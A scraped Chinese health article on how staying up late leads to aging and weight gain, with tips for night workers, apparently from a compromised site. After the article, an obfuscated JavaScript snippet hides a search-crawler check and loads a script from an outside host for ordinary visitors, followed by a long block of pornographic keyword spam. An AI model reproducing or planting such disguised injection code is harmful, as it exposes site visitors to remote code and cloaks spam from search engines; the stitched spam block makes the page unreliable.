當前位置:首頁 > 減肥 > 減肥誤區 > 正文

盤點熬夜的危害 致衰老會肥胖

2017-03-09 23:28:11  來源:360常識網   熱度:
導語:有調查發現,長期熬夜加班會導致衰老,甚至導致肥胖。熬夜引發一系列健康問題,有人會問,熬夜不是會讓人瘦的嗎?怎么怎么反而發胖了呢?

有人會說,熬夜加班那么辛苦,人不是應該會變瘦么,為什么反而會變胖呢?其實,熬夜并不會增加熱量消耗,反而會增加熱量攝入。因為熬夜會令人體內的激素發生變化,使得刺激食欲的生長素水平升高,抑制食欲的瘦素的水平降低,如此一來,人們就會胃口大開,太餓了,硬要不吃也難。而夜間,人們的身體活動減少,運動消耗變少,熱量就會囤積轉化為脂肪,令人變胖。

這么說來,熬夜會胖是因為夜間吃東西。那為什么一些人熬夜不吃東西也會發胖呢?《美國臨床營養學雜志》上的研究解釋了這個問題。這項研究發現,在睡眠減少的受試者當中,食量并未增加,但是白天精神不振,在自由生活狀態下,體力活動的量會顯著下降,這樣就會降低人體的能量消耗而增加體重。

熬夜一族如何避免肥胖?

因熬夜而肥胖最好的解決方法自然就是早早洗洗睡,但是工作纏身,實在沒辦法,怎么辦?

1.管住嘴,別把手伸向零食

夜間餓了,人們懶得動手做吃的,就會隨手拿來零食。零食的熱量比一般食物要高,容易令人發胖。如果實在無法抵御饑餓,建議用一些低熱飽腹的食物,如酸奶、水果等來取代高熱零食。

2.中途休息一下

熬夜工作注意力集中時間長,人容易疲憊,在第二天就會沒精神,不想動。熬夜實在熬不下去,可以先休息一會,補補眠。

3.制訂時間表

時間表常常是制訂容易,執行難。不過,還是建議試一試。制定了工作表,你就會有意識地在工作表規定時間完成工作,避免熬夜加班。

4.睡醒后做做運動

經過一夜奮斗,醒來后人們精神疲憊,這時可以以手指肚為梳雙手從額頭向頸后反復梳揉一,二百次,緩解熬夜后的疲勞。除了按摩一下頭部,還可以做做運動,把狀態調整回來。

總結:想減肥要從生活里點滴做起,除了運動、控制飲食意外,生活作息也要進行調整,良好的生活習慣才是健康的源泉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品jizz在线观看免费 | 久久国产成人精品麻豆| 国产四虎免费精品视频| 中文精品人人永久免费| 精品亚洲成a人在线观看| 乱色精品无码一区二区国产盗| 国产精品2018| 69久久精品无码一区二区| 久久精品国产精品亚洲艾草网| 一级一级特黄女人精品毛片| 精品人妻无码一区二区色欲产成人| 亚洲综合精品一二三区在线| 精品国产一区二区三区久久蜜臀 | 国产精品无码午夜福利| 一本大道无码日韩精品影视_| 2020亚洲男人天堂精品| 人人妻人人澡人人爽人人精品| 国产精品自在线拍国产第一页 | 国产成人精品999在线| 2021国产精品午夜久久| 人妻少妇乱子伦精品| 久久久精品无码专区不卡| 国产在线精品一区二区在线看| 亚洲国产精品无码久久| 91麻豆精品国产91久久久久久 | 潮喷大喷水系列无码久久精品| 国产精品国产高清国产av| 国产精品美女久久福利网站| 精品亚洲A∨无码一区二区三区| 久久精品免费电影| 精品国产美女福利到在线不卡| 精品一区二区三区免费观看| www.午夜精品| 国产亚洲精品美女2020久久| 精品国产丝袜自在线拍国| 亚洲精品无码mⅴ在线观看| 精品综合久久久久久98| 91精品国产91久久久久| 国产AV国片精品| 国产精品免费无遮挡无码永久视频| 久久久WWW免费人成精品|